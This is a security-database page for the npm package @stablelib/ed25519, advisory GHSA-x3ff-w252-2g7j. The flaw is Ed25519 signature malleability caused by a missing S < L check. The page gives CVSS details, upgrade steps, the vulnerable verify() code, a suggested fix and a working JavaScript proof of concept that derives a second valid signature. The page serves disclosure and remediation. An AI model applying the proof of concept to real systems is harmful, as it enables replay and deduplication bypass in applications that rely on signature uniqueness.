Vulnerabilities in pkg:npm/@stablelib/ed25519

PACKAGE
Advisory Summary

GHSA-x3ff-w252-2g7j is a MODERATE (CVSS 5.3) stablelib ed25519 signature malleability vulnerability (CWE-347: Improper Verification of Cryptographic Signature) affecting @stablelib/ed25519 libraries in the npm ecosystem. The issue involves stablelib ed25519 signature malleability via missing s < l check. Remediation is available in the latest vendor maintenance releases.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@stablelib/ed25519

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@stablelib/ed25519. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-x3ff-w252-2g7j - MODERATE StableLib Ed25519 Signature Malleability via Missing S < L Check

GHSA-x3ff-w252-2g7j at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-x3ff-w252-2g7j
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-347: Improper Verification of Cryptographic Signature
Affected Product @stablelib/ed25519
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-x3ff-w252-2g7j

To remediate this vulnerability, upgrade all affected @stablelib/ed25519 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@stablelib/ed25519 fixed: Latest secure release
npm install @stablelib/ed25519@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @stablelib/ed25519

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-x3ff-w252-2g7j, inspect your project dependencies using npm:

npm ls @stablelib/ed25519

Analyze the terminal output to locate any version of @stablelib/ed25519 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls @stablelib/ed25519 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-347: Improper Verification of Cryptographic Signature, where the product does not verify, or incorrectly verifies, the cryptographic signature for data. In @stablelib/ed25519, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Ed25519 Signature Malleability via Missing S < L Check -- Same Class as node-forge CVE-2026-33895 (CWE-347) ## Target - Repository: StableLib/stablelib (package: @stablelib/ed25519) - Platform: GitHub PVR - Bounty: CVE credit - CWE: CWE-347 (Improper Verification of Cryptographic Signature) - Version: 2.0.2 (latest, 2026-03-28) ## Root Cause The `verify()` function in `@stablelib/ed25519` does not check that the `S` component of the signature is less than the group order `L`. Per CFRG recommendations and the ZIP-215 specification, Ed25519 implementations should reject signatures where `S >= L` to prevent signature malleability. When `S >= L`, `[S]B = [(S mod L)]B = [(S - L)]B`, meaning two different 32-byte `S` values produce the same verification result. An attacker who observes a valid signature `(R, S)` can produce a second valid signature `(R, S + L)` for the same message. ### Vulnerable code **File:** `packages/ed25519/ed25519.ts` (compiled: `lib/ed25519.js:779-802`) ```javascript export function verify(publicKey, message, signature) { // ... length check, unpack public key ... const hs = new SHA512(); hs.update(signature.subarray(0, 32)); // R hs.update(publicKey); // A hs.update(message); // M const h = hs.digest(); reduce(h); // h is reduced mod L scalarmult(p, q, h); // [h](-A) scalarbase(q, signature.subarray(32)); // [S]B -- S NOT checked or reduced edadd(p, q); pack(t, p); if (verify32(signature, t)) { // compare R return false; } return true; } ``` Note that `h` is properly `reduce()`d (line 794), but `S` (signature bytes 32-63) is passed directly to `scalarbase()` without any range check. ## Proof of Concept ```javascript const ed = require('@stablelib/ed25519'); const kp = ed.generateKeyPair(); const msg = new TextEncoder().encode("Hello, world!"); const sig = ed.sign(kp.secretKey, msg); console.log("Original valid:", ed.verify(kp.publicKey, msg, sig)); // true // Ed25519 group order L const L = [ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 ]; // Add L to S component to create malleable signature const malSig = new Uint8Array(64); malSig.set(sig.subarray(0, 32)); // R unchanged let carry = 0; for (let i = 0; i < 32; i++) { const sum = sig[32 + i] + L[i] + carry; malSig[32 + i] = sum & 0xff; carry = sum >> 8; } console.log("Malleable valid:", ed.verify(kp.publicKey, msg, malSig)); // true console.log("Sigs differ:", !sig.every((b, i) => b === malSig[i])); // true ``` **Output:** ``` Original valid: true Malleable valid: true Sigs differ: true ``` ## Impact - **Signature malleability**: Given any valid signature, an attacker can produce a second distinct valid signature for the same message without knowing the private key - **Transaction ID collision**: Applications using signature bytes as unique identifiers (e.g., blockchain transaction IDs) are vulnerable to replay/double-spend attacks - **Deduplication bypass**: Systems deduplicating by signature value accept the same message twice with different "signatures" - **Same vulnerability class** as node-forge CVE-2026-33895 (GHSA-q67f-28xg-22rw), rated HIGH ## Suggested Fix Add an S < L check before processing the signature: ```javascript // L in little-endian const L = new Uint8Array([ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 ]); function scalarLessThanL(s) { for (let i = 31; i >= 0; i--) { if (s[i] < L[i]) return true; if (s[i] > L[i]) return false; } return false; // equal to L, reject } export function verify(publicKey, message, signature) { // ... existing checks ... if (!scalarLessThanL(signature.subarray(32))) { return false; // S >= L, reject } // ... rest of verify ... } ``` ## Self-Review - **Is this by-design?** No explicit documentation suggests malleability is intended. The library is described as implementing "Ed25519 public-key signature (EdDSA with Curve25519)" with no caveat about malleability. - **Is RFC 8032 strict about this?** No. RFC 8032 does not require S < L. However, the CFRG recommends it, ZIP-215 requires it, and the node-forge advisory (CVE-2026-33895) treats the identical issue as HIGH severity. - **Is this already reported?** No. No existing issues or CVEs for @stablelib/ed25519 regarding malleability or S < L. - **Honest weaknesses:** (1) RFC 8032 does not strictly require S < L. (2) Not all applications are affected -- only those depending on signature uniqueness. (3) This is malleability, not forgery -- the attacker cannot sign new messages. (4) tweetnacl has the same issue and considers it a known limitation. - **CVSS:** Medium (5.3). AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N -- can produce alternate valid signatures, limited integrity impact. ## Solution Upgrade to version 2.1.0.

GHSA-x3ff-w252-2g7j Affected @stablelib/ed25519 Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
@stablelib/ed25519
npm
≤ 2.0.2

References

Frequently Asked Questions

What is GHSA-x3ff-w252-2g7j?
GHSA-x3ff-w252-2g7j is a security vulnerability in @stablelib/ed25519 involving StableLib Ed25519 Signature Malleability via Missing S < L Check under CWE-347: Improper Verification of Cryptographic Signature.
Which @stablelib/ed25519 versions are affected?
Affected versions include releases prior to current release patches across affected packages: @stablelib/ed25519.
What version fixes GHSA-x3ff-w252-2g7j?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is @stablelib/ed25519 affected?
Yes, @stablelib/ed25519 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-x3ff-w252-2g7j?
GHSA-x3ff-w252-2g7j has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N.
What CWE is associated with GHSA-x3ff-w252-2g7j?
GHSA-x3ff-w252-2g7j is classified under CWE-347: Improper Verification of Cryptographic Signature (The product does not verify, or incorrectly verifies, the cryptographic signature for data.).
How can I check npm dependencies for GHSA-x3ff-w252-2g7j?
Run the dependency tree command: 'npm ls @stablelib/ed25519'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x3ff-w252-2g7j",
  "modified" : "2026-04-07T14:23:20Z",
  "published" : "2026-04-01T22:13:35Z",
  "aliases" : [ ],
  "summary" : "StableLib Ed25519 Signature Malleability via Missing S < L Check",
  "details" : "# Ed25519 Signature Malleability via Missing S < L Check -- Same Class as node-forge CVE-2026-33895 (CWE-347)\n\n## Target\n- Repository: StableLib/stablelib (package: @stablelib/ed25519)\n- Platform: GitHub PVR\n- Bounty: CVE credit\n- CWE: CWE-347 (Improper Verification of Cryptographic Signature)\n- Version: 2.0.2 (latest, 2026-03-28)\n\n## Root Cause\n\nThe `verify()` function in `@stablelib/ed25519` does not check that the `S` component of the signature is less than the group order `L`. Per CFRG recommendations and the ZIP-215 specification, Ed25519 implementations should reject signatures where `S >= L` to prevent signature malleability.\n\nWhen `S >= L`, `[S]B = [(S mod L)]B = [(S - L)]B`, meaning two different 32-byte `S` values produce the same verification result. An attacker who observes a valid signature `(R, S)` can produce a second valid signature `(R, S + L)` for the same message.\n\n### Vulnerable code\n\n**File:** `packages/ed25519/ed25519.ts` (compiled: `lib/ed25519.js:779-802`)\n\n```javascript\nexport function verify(publicKey, message, signature) {\n    // ... length check, unpack public key ...\n    const hs = new SHA512();\n    hs.update(signature.subarray(0, 32));   // R\n    hs.update(publicKey);                   // A\n    hs.update(message);                     // M\n    const h = hs.digest();\n    reduce(h);                              // h is reduced mod L\n    scalarmult(p, q, h);                    // [h](-A)\n    scalarbase(q, signature.subarray(32));  // [S]B -- S NOT checked or reduced\n    edadd(p, q);\n    pack(t, p);\n    if (verify32(signature, t)) {           // compare R\n        return false;\n    }\n    return true;\n}\n```\n\nNote that `h` is properly `reduce()`d (line 794), but `S` (signature bytes 32-63) is passed directly to `scalarbase()` without any range check.\n\n## Proof of Concept\n\n```javascript\nconst ed = require('@stablelib/ed25519');\n\nconst kp = ed.generateKeyPair();\nconst msg = new TextEncoder().encode(\"Hello, world!\");\nconst sig = ed.sign(kp.secretKey, msg);\n\nconsole.log(\"Original valid:\", ed.verify(kp.publicKey, msg, sig)); // true\n\n// Ed25519 group order L\nconst L = [\n  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10\n];\n\n// Add L to S component to create malleable signature\nconst malSig = new Uint8Array(64);\nmalSig.set(sig.subarray(0, 32)); // R unchanged\nlet carry = 0;\nfor (let i = 0; i < 32; i++) {\n  const sum = sig[32 + i] + L[i] + carry;\n  malSig[32 + i] = sum & 0xff;\n  carry = sum >> 8;\n}\n\nconsole.log(\"Malleable valid:\", ed.verify(kp.publicKey, msg, malSig)); // true\nconsole.log(\"Sigs differ:\", !sig.every((b, i) => b === malSig[i]));    // true\n```\n\n**Output:**\n```\nOriginal valid: true\nMalleable valid: true\nSigs differ: true\n```\n\n## Impact\n\n- **Signature malleability**: Given any valid signature, an attacker can produce a second distinct valid signature for the same message without knowing the private key\n- **Transaction ID collision**: Applications using signature bytes as unique identifiers (e.g., blockchain transaction IDs) are vulnerable to replay/double-spend attacks\n- **Deduplication bypass**: Systems deduplicating by signature value accept the same message twice with different \"signatures\"\n- **Same vulnerability class** as node-forge CVE-2026-33895 (GHSA-q67f-28xg-22rw), rated HIGH\n\n## Suggested Fix\n\nAdd an S < L check before processing the signature:\n\n```javascript\n// L in little-endian\nconst L = new Uint8Array([\n  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10\n]);\n\nfunction scalarLessThanL(s) {\n  for (let i = 31; i >= 0; i--) {\n    if (s[i] < L[i]) return true;\n    if (s[i] > L[i]) return false;\n  }\n  return false; // equal to L, reject\n}\n\nexport function verify(publicKey, message, signature) {\n    // ... existing checks ...\n    if (!scalarLessThanL(signature.subarray(32))) {\n        return false; // S >= L, reject\n    }\n    // ... rest of verify ...\n}\n```\n\n## Self-Review\n\n- **Is this by-design?** No explicit documentation suggests malleability is intended. The library is described as implementing \"Ed25519 public-key signature (EdDSA with Curve25519)\" with no caveat about malleability.\n- **Is RFC 8032 strict about this?** No. RFC 8032 does not require S < L. However, the CFRG recommends it, ZIP-215 requires it, and the node-forge advisory (CVE-2026-33895) treats the identical issue as HIGH severity.\n- **Is this already reported?** No. No existing issues or CVEs for @stablelib/ed25519 regarding malleability or S < L.\n- **Honest weaknesses:** (1) RFC 8032 does not strictly require S < L. (2) Not all applications are affected -- only those depending on signature uniqueness. (3) This is malleability, not forgery -- the attacker cannot sign new messages. (4) tweetnacl has the same issue and considers it a known limitation.\n- **CVSS:** Medium (5.3). AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N -- can produce alternate valid signatures, limited integrity impact.\n\n## Solution\n\nUpgrade to version 2.1.0.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@stablelib/ed25519"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.0.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/StableLib/stablelib/security/advisories/GHSA-x3ff-w252-2g7j"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/StableLib/stablelib"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-347" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T22:13:35Z",
    "nvd_published_at" : null
  }
}